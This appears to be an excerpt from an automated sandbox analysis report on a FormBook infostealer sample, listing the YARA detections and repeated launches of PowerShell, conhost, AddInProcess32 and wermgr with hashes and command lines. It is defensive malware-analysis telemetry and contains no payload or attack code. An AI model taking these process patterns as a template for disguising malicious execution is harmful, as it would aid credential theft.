Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.2428546911.0000000000DB0000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.2428546911.0000000000DB0000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.2428974827.0000000001710000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.2428974827.0000000001710000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Target ID:	7
Start time:	12:37:08
Start date:	29/08/2024
Path:	C:\Windows\System32\wermgr.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\wermgr.exe" "-outproc" "0" "5960" "2556" "2808" "2640" "0" "0" "2560" "0" "0" "0" "0" "0"
Imagebase:	0x7ff794bc0000
File size:	229'728 bytes
MD5 hash:	74A0194782E039ACE1F7349544DC1CF4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	11
Start time:	12:37:27
Start date:	29/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	12
Start time:	12:37:27
Start date:	29/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	14
Start time:	12:37:31
Start date:	29/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0x270000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	15
Start time:	12:37:31
Start date:	29/08/2024
Path:	C:\Windows\System32\wermgr.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\wermgr.exe" "-outproc" "0" "5264" "2560" "2180" "2464" "0" "0" "2640" "0" "0" "0" "0" "0"
Imagebase:	0x7ff794bc0000
File size:	229'728 bytes
MD5 hash:	74A0194782E039ACE1F7349544DC1CF4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	17
Start time:	12:37:53
Start date:	29/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: conhost.exePID: 4176, Parent PID: 2056

General

Target ID:	18
Start time:	12:37:53
Start date:	29/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	19
Start time:	12:37:57
Start date:	29/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0xd30000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	20
Start time:	12:37:57
Start date:	29/08/2024
Path:	C:\Windows\System32\wermgr.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\wermgr.exe" "-outproc" "0" "2056" "2800" "2732" "2804" "0" "0" "2808" "0" "0" "0" "0" "0"
Imagebase:	0x7ff794bc0000
File size:	229'728 bytes
MD5 hash:	74A0194782E039ACE1F7349544DC1CF4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	21
Start time:	12:38:20
Start date:	29/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 5864, Parent PID: 3780

General

Target ID:	22
Start time:	12:38:20
Start date:	29/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	23
Start time:	12:38:23
Start date:	29/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0xf60000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	24
Start time:	12:38:23
Start date:	29/08/2024
Path:	C:\Windows\System32\wermgr.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\wermgr.exe" "-outproc" "0" "3780" "2612" "2844" "2596" "0" "0" "2508" "0" "0" "0" "0" "0"
Imagebase:	0x7ff794bc0000
File size:	229'728 bytes
MD5 hash:	74A0194782E039ACE1F7349544DC1CF4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	25
Start time:	12:38:46
Start date:	29/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	26
Start time:	12:38:46
Start date:	29/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	27
Start time:	12:38:50
Start date:	29/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0xd20000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	28
Start time:	12:38:50
Start date:	29/08/2024
Path:	C:\Windows\System32\wermgr.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\wermgr.exe" "-outproc" "0" "5256" "2508" "2512" "2556" "0" "0" "2560" "0" "0" "0" "0" "0"
Imagebase:	0x7ff794bc0000
File size:	229'728 bytes
MD5 hash:	74A0194782E039ACE1F7349544DC1CF4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	29
Start time:	12:39:12
Start date:	29/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	30
Start time:	12:39:12
Start date:	29/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	31
Start time:	12:39:15
Start date:	29/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0xf40000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	32
Start time:	12:39:16
Start date:	29/08/2024
Path:	C:\Windows\System32\wermgr.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\wermgr.exe" "-outproc" "0" "5368" "2468" "2228" "2508" "0" "0" "2496" "0" "0" "0" "0" "0"
Imagebase:	0x7ff794bc0000
File size:	229'728 bytes
MD5 hash:	74A0194782E039ACE1F7349544DC1CF4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	33
Start time:	12:39:38
Start date:	29/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	34
Start time:	12:39:38
Start date:	29/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	35
Start time:	12:39:41
Start date:	29/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0xef0000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	36
Start time:	12:39:42
Start date:	29/08/2024
Path:	C:\Windows\System32\wermgr.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\wermgr.exe" "-outproc" "0" "6068" "2816" "2752" "2820" "0" "0" "2824" "0" "0" "0" "0" "0"
Imagebase:	0x7ff794bc0000
File size:	229'728 bytes
MD5 hash:	74A0194782E039ACE1F7349544DC1CF4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	37
Start time:	12:40:04
Start date:	29/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	38
Start time:	12:40:04
Start date:	29/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	39
Start time:	12:40:07
Start date:	29/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0xf40000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	40
Start time:	12:40:08
Start date:	29/08/2024
Path:	C:\Windows\System32\wermgr.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\wermgr.exe" "-outproc" "0" "1596" "2640" "2808" "2340" "0" "0" "2572" "0" "0" "0" "0" "0"
Imagebase:	0x7ff794bc0000
File size:	229'728 bytes
MD5 hash:	74A0194782E039ACE1F7349544DC1CF4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	41
Start time:	12:40:30
Start date:	29/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	42
Start time:	12:40:30
Start date:	29/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	43
Start time:	12:40:33
Start date:	29/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0xd80000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	44
Start time:	12:40:33
Start date:	29/08/2024
Path:	C:\Windows\System32\wermgr.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\wermgr.exe" "-outproc" "0" "4392" "2800" "2312" "2804" "0" "0" "2808" "0" "0" "0" "0" "0"
Imagebase:	0x7ff794bc0000
File size:	229'728 bytes
MD5 hash:	74A0194782E039ACE1F7349544DC1CF4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	45
Start time:	12:40:56
Start date:	29/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	46
Start time:	12:40:56
Start date:	29/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	47
Start time:	12:40:59
Start date:	29/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0x170000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	48
Start time:	12:41:02
Start date:	29/08/2024
Path:	C:\Windows\System32\wermgr.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\wermgr.exe" "-outproc" "0" "6780" "2824" "2552" "2828" "0" "0" "2832" "0" "0" "0" "0" "0"
Imagebase:	0x7ff794bc0000
File size:	229'728 bytes
MD5 hash:	74A0194782E039ACE1F7349544DC1CF4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true